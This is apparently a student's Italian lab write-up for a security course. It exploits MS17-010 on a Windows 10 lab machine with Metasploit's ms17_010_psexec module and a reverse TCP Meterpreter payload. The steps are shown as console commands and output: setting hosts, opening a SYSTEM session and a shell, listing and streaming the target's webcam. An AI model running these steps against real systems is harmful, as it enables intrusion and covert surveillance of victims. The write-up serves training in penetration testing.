

Traccia:

Sulla base di quanto visto, viene richiesto alla studente di ottenere una sessione di Meterpreter sul target Windows sfruttando con Metasploit la vulnerabilità MS17010. Una volta ottenuta la sessione, lo studente dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter
- Individuare la presenza o meno di Webcam sulla macchina Windows
- Accedere a webcam/fare dump della tastiera/provare altro

```
msf6 > use 10
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.32.103
RHOSTS => 192.168.32.103
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.32.100
LHOST => 192.168.32.100
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.32.100:4444
[*] 192.168.32.103:445 - Target OS: Windows 10 Pro 10240
[*] 192.168.32.103:445 - Built a write-what-where primitive...
[+] 192.168.32.103:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.32.103:445 - Selecting PowerShell target
[*] 192.168.32.103:445 - Executing the payload...
[+] 192.168.32.103:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 192.168.32.103
[*] Meterpreter session 1 opened (192.168.32.100:4444 -> 192.168.32.103:49452) at 2024-09-11 12:59:25 -0400

meterpreter > █
```

modulo exploit: exploit/windows/smb/psexec

modulo payload: windows/meterpreter/reverse_tcp

```
meterpreter > sysinfo
Computer      : DESKTOP-9K104BT
OS            : Windows 10 (10.0 Build 10240).
Architecture : x64
System Language : it_IT
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter    : x86/windows

meterpreter > shell
Process 136 created.
Channel 1 created.
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Windows\system32>ipconfig
ipconfig

Configurazione IP di Windows

Scheda Ethernet Ethernet:

Suffisso DNS specifico per connessione:
Indirizzo IPv6 locale rispetto al collegamento . : fe80::10e9:dbca:3721:1cdf%4
Indirizzo IPv4. . . . . : 192.168.32.103
Subnet mask . . . . . : 255.255.255.0
Gateway predefinito . . . . . : 192.168.32.1

Scheda Tunnel isatap.{92D61F82-1D19-45C9-B7CF-2E5AF2D63627}:

Stato supporto. . . . . : Supporto disconnesso
Suffisso DNS specifico per connessione:

C:\Windows\system32> █
```

Dopo aver verificato la riuscita dell'exploit, ho verificato la presenza o meno di webcam.

Effettuata la verifica delle webcam presenti, ho avviato uno stream della webcam.

```
meterpreter > webcam_list  
1: USB Camera  
meterpreter > webcam_stream  
[*] Starting ...  
[*] Preparing player ...  
[*] Opening player at: /home/kali/l0kgjwJY.html  
[*] Streaming ...
```

← → ↻ 🏠 file:///home/...
Kali Linux Kali Tools Kali Docs Kali Fo

Target IP : 192.168.32.103
Start time : 2024-09-11 13:17:44 -0400
Status : Playing

